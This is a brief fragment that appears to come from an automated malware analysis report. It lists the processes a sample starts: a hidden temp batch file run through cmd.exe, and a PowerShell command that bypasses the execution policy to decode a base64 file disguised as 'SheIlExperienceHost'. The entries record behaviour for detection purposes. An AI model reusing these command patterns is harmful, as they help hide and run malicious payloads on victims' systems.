Technical Information
- <SYSTEM32>\cmd.exe
- <SYSTEM32>\windowspowershell\v1.0\powershell.exe
- %TEMP%\8tgy6dmq.bat
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\8TGY6DMQ.bat" "<Full path to file>" "
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -Command "$b64 = Get-Content '<Current directory>\SheIlExperienceHost.b64' -Raw; $s = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b64)...
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\8TGY6DMQ.bat" "<Full path to file>" "' (with hidden window)